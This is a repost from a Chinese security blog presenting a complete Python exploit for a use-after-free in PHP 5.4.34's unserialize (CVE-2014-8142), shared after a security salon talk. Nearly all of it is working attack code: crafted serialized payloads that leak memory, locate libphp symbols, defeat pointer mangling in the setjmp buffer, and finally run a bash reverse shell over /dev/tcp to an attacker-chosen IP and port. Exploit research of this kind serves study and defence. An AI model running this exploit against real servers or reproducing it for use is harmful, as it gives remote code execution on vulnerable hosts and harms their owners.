β

PHP 5.4.34 unserialize UAF exploit

知道创宇 237 阅读

Author: niubl (知道创宇403)

Date: 2016-01-07

之前在Sebug沙龙分享的PHP 5.4.34 unserialize UAF exploit,EXP放到博客来,还有那天的PPT:

PHP反序列化UAF漏洞的研究与Exp编写

EXP代码:

'''
php 5.4.34
cve-2014-8142
php server script content for this vulnerability:
<?php
$data = base64_decode($_GET['data']);
echo serialize(unserialize($data));
?>
'''


import re
import pdb
import sys
import urllib
import urllib2
import base64
import struct
import urlparse


if __name__ == '__main__':
    if len(sys.argv) == 5:
        target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', ''))
    else:
        print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]"
        sys.exit()

def get_resp(data):
    data = base64.b64encode(data)
    data = urllib.quote(data)
    req = urllib2.Request(url=target + "?data=" + data)
    u = urllib2.urlopen(req)
    resp = u.read()
    return resp

def read_memory(addr, count):
    #read_memory(0x8048000, 0x4)
    #read_memory(134512640, 4)

    data = 'O:8:"stdClass":4:{'
    data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
    data += 's:3:"123";i:0;';
    data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";';
    data += 'i:1;r:12;}';
    #print data
    resp = get_resp(data)
    #print resp
    start = resp.rfind("s:" + str(count) +  ":\"") + len("s:" + str(count) +  ":\"")
    end = resp.rfind("\";}")
    mem = resp[start:end]
    return mem

def format_to_hex(value):
    return format(value, "#04x")

def hex_to_dec(value):
    return int(value, 16)

def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base):
    strtab_count = 0x1000
    symtab_cont = 0x5000

    func_dynstr_offset = 0
    func_symtab_offset = 0

    while True:
        strtab_section = read_memory(strtab_section_addr, strtab_count)
        pos = strtab_section.find("\x00" + function_name + "\x00")

        if pos !=-1:
            func_dynstr_offset = pos + 1
            print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset)
            break

        strtab_count = strtab_count + 0x1000

    while True:
        symtab_section = read_memory(symtab_section_addr, symtab_cont)

        while symtab_section:
            if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset:
                func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0]
                break
            symtab_section = symtab_section[16:]

        if func_symtab_offset:
            break

        symtab_cont = symtab_cont + 0x1000

    print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset)
    func_addr = libphp_base + func_symtab_offset;
    print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr)
    return func_addr

# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

print "[+] Determining endianess of system"

data = 'O:8:"stdClass":4:{'
data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'
data += 's:3:"123";i:0;'
data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'
data += 'i:1;r:12;}'

resp = get_resp(data)
m = re.findall("\:(\d*)\;\}", resp)

if m:
    if int(m[0]) == 256:
        print "[+] System is little endian"
    elif int(m[0]) == 65535:
        print "[+] System is big endian"

data = 'O:8:"stdClass":6:{'
data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
data += 's:3:"456";i:1;'
data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'
data += 's:3:"789";i:0;'
data += 'i:1;r:56;}'

resp = get_resp(data)
start = resp.rfind(":\"") + 2
end = resp.rfind("\";}")
mem = resp[start:end]
fmt = fmt = "%dI" % (len(mem) // 4)
leak_heap_addr = list(struct.unpack(fmt, mem))
index = 0

for i in leak_heap_addr:
    if i == 0x5:
        std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2])
    index = index + 1

if std_object_handlers_addr:
    print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr

print "[+] Leaking std_object_handlers"
mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)
fmt = fmt = "%dI" % (len(mem) // 4)
leak_heap_addr = list(struct.unpack(fmt, mem))
std_object_handlers = []

for i in leak_heap_addr:
    std_object_handlers.append(format_to_hex(i))

print "Retrieved std_object_handlers" + str(std_object_handlers)
min_addr = min(i for i in std_object_handlers if hex_to_dec(i) > 0)
print "[+] Optimized to " + min_addr
print "[+] Scanning for executable header"
libphp_base = (hex_to_dec(min_addr) & ~0xfff)

while True:
    try:
        mem = read_memory(libphp_base, 4)
    except:
        continue

    if (mem == "\x7fELF"):
        break

    libphp_base -= 0x1000

print "[+] ELF header Found at " + format_to_hex(libphp_base)
mem = read_memory(libphp_base, 0x1000)
print "[+] Retrieving and parsing ELF header"
program_header = mem[52:]

while True:
    if struct.unpack("I", program_header[:4])[0] == 2:
        dynamic_section_addr =  libphp_base + struct.unpack("I", program_header[8:12])[0]
        break

    program_header = program_header[32:]

print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)
dynamic_section = read_memory(dynamic_section_addr, 0x118)

while True:
    if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6):
        strtab_section_addr =  struct.unpack("I", dynamic_section[4:8])[0]
        symtab_section_addr =  struct.unpack("I", dynamic_section[12:16])[0]
        break
    dynamic_section = dynamic_section[8:]

print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)
print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)
php_execute_script_addr =  find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)
zend_eval_string_addr =  find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)
executor_globals_addr =  find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)
jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]
print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)
print "[+] Attempt to crack JMPBUF"
mem = read_memory(jmpbuf_addr, 0x18)
fmt = "%dI" % (len(mem)//4) 
jmp_buf = list(struct.unpack(fmt, mem))
mem = read_memory(php_execute_script_addr, 0x100)
fmt = "%dB" % (len(mem))
mem_list = list(struct.unpack(fmt, mem))

count = 0
set_jmp_ret_addr = 0

for i in mem_list:

    if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85):
        set_jmp_ret_addr =  php_execute_script_addr + count + 5
        jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0]

    count = count + 1

print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)
pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addr
print "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)
unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guard
print "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)
mem = read_memory(jmpbuf_addr-0x1000, 0x1000)
print "[+] Checking memory infront of JMPBUF for overwriting possibilities"

i = 0
count = 0
valid_addr = []

while True:
    addr = jmpbuf_addr - 0x1000 + count
    if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0):
        valid_addr.append(addr)

    i = i + 1
    count = count + 1

    if len(mem[i:]) < 4:
        break

if valid_addr:
    print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline"

    addr1 = valid_addr[0]+8
    count1 = 39
    addr2 = valid_addr[0]+ 48
    count2 = 111
    addr3 = valid_addr[0]+ 160
    count3 = 111
    addr4 = valid_addr[0]+ 272
    count4 = 111

    php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00"
    old_cwd = struct.pack("I", jmpbuf_addr)
    return_addr = struct.pack("I", jmp_to_ret_addr)
    php_code_addr = struct.pack("I", jmpbuf_addr + 40)
    retval_ptr = "\00" * 4
    string_name = php_code_addr
    ebx = struct.pack("I", jmp_buf[0])
    esi = struct.pack("I", jmp_buf[1])
    edi = struct.pack("I", jmp_buf[2])
    ebp = struct.pack("I", jmp_buf[3])
    esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32))
    eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32))
    junk =  "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code))

    data = 'O:8:"stdClass":17:{'
    data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
    data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
    data += 'S:3:"456";i:1;'
    data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}'
    data += 'S:3:"abc";r:53;'
    data += 'S:3:"abc";i:1;'
    data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";'
    data += 'S:3:"ghi";r:56;'
    data += 'S:3:"ghi";i:1;'
    data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";'
    data += 'S:3:"mno";r:59;'
    data += 'S:3:"mno";i:1;'
    data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";'
    data += 'S:3:"stu";r:62;'
    data += 'S:3:"stu";i:1;'
    data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";'
    data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}'

    print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4]
    resp = get_resp(data)
作者:知道创宇
更好更安全的互联网
原文地址:PHP 5.4.34 unserialize UAF exploit, 感谢原作者分享。